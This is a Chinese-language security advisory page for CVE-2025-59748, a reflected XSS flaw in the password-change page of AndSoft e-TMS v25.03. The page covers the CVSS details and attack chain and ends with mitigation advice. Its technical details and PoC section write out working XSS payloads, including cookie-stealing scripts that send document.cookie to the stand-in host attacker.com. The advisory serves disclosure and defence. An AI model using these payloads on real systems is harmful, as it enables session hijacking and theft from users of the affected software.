IPBUF安全漏洞报告
English
CVE-2025-59748 CVSS 6.1 中危

CVE-2025-59748:AndSoft e-TMS 反射型XSS漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59748
漏洞类型
反射型跨站脚本(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
AndSoft e-TMS

相关标签

XSS反射型XSS跨站脚本CVE-2025-59748AndSofte-TMS运输管理系统Web应用漏洞中危漏洞INCIBE

漏洞概述

CVE-2025-59748是AndSoft公司开发的e-TMS(运输管理系统)v25.03版本中存在的一个反射型跨站脚本(Reflected Cross-Site Scripting, XSS)漏洞。该漏洞由西班牙国家网络安全研究所(INCIBE)于2025年10月2日披露,CVSS 3.1评分为6.1分,属于中等严重等级。

AndSoft e-TMS是一款广泛应用于物流和运输行业的企业级管理软件,用于管理运输订单、车辆调度、货物跟踪等业务。该漏洞存在于系统的密码修改页面(/clt/changepassword.asp)中,具体涉及'l'和'reset'两个URL参数。由于应用程序未对用户输入进行充分的过滤和转义处理,攻击者可以通过构造包含恶意JavaScript代码的URL,诱导受害者点击,从而在受害者的浏览器上下文中执行任意JavaScript代码。

该漏洞的攻击向量为网络(AV:N),无需认证(PR:N),但需要用户交互(UI:R),作用域发生变化(S:C)。成功利用此漏洞可能导致会话劫持、敏感信息窃取、钓鱼攻击或恶意操作等后果,对企业和个人的数据安全构成威胁。

技术细节

该漏洞的根源在于e-TMS v25.03的密码修改功能模块(/clt/changepassword.asp)对URL参数'l'和'reset'的输入验证不足。具体而言,当用户访问密码修改页面时,应用程序会从URL中读取'l'和'reset'参数的值,并将其直接嵌入到返回的HTML页面中,而没有进行适当的HTML实体编码或输出转义。

攻击者利用此漏洞的方式如下:
1. 攻击者构造一个包含恶意JavaScript代码的特殊URL,例如:
`https://target.com/clt/changepassword.asp?l=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>&reset=<script>alert('XSS')</script>`
2. 攻击者通过社会工程学手段(如钓鱼邮件、即时消息等)诱导受害者点击该恶意链接。
3. 受害者的浏览器向目标服务器发送请求,服务器将恶意脚本原样返回并嵌入到响应页面中。
4. 浏览器解析HTML时执行嵌入的恶意JavaScript代码。
5. 由于脚本在目标站点的上下文中执行,它能够访问该站点的Cookie、会话令牌等敏感信息。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明其通过网络即可利用,攻击复杂度低,无需权限,但需要受害者进行交互(如点击链接),且漏洞利用会导致作用域变化,对机密性和完整性产生低影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统运行AndSoft e-TMS v25.03版本,并定位存在漏洞的密码修改页面/clt/changepassword.asp。
STEP 2
步骤2:构造恶意URL
攻击者构造包含恶意JavaScript代码的URL,利用未经过滤的'l'或'reset'参数注入XSS payload。
STEP 3
步骤3:社会工程诱导
攻击者通过钓鱼邮件、即时消息或其他方式将恶意URL发送给目标用户,诱导其点击。
STEP 4
步骤4:触发漏洞
受害者点击链接后,浏览器向目标服务器发送请求,服务器返回包含恶意脚本的页面。
STEP 5
步骤5:执行恶意代码
浏览器解析响应时执行嵌入的JavaScript代码,攻击者可窃取Cookie、会话令牌或执行其他恶意操作。
STEP 6
步骤6:权限利用
利用窃取的会话信息,攻击者可以冒充受害者身份访问系统,执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-59748 - AndSoft e-TMS v25.03 Reflected XSS PoC --> <!-- Vulnerable endpoint: /clt/changepassword.asp --> <!-- Vulnerable parameters: 'l' and 'reset' --> <!-- Basic XSS PoC using 'l' parameter --> https://target.com/clt/changepassword.asp?l=<script>alert('XSS-CVE-2025-59748')</script> <!-- Basic XSS PoC using 'reset' parameter --> https://target.com/clt/changepassword.asp?reset=<script>alert('XSS-CVE-2025-59748')</script> <!-- Cookie stealing PoC using 'l' parameter --> https://target.com/clt/changepassword.asp?l=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Cookie stealing PoC using 'reset' parameter --> https://target.com/clt/changepassword.asp?reset=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Combined parameters exploitation --> https://target.com/clt/changepassword.asp?l=<script>alert(document.domain)</script>&reset=<img src=x onerror=alert(1)>

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)部署Web应用防火墙(WAF)规则,检测并阻止包含可疑JavaScript代码的URL请求;2)在Web服务器层面配置URL过滤规则,对'/clt/changepassword.asp'页面的'l'和'reset'参数进行输入验证;3)实施Content Security Policy(CSP)头,限制内联脚本执行;4)为所有会话Cookie设置HttpOnly和Secure标志;5)对用户进行安全意识培训,警惕可疑链接;6)监控Web服务器日志,及时发现异常的URL请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表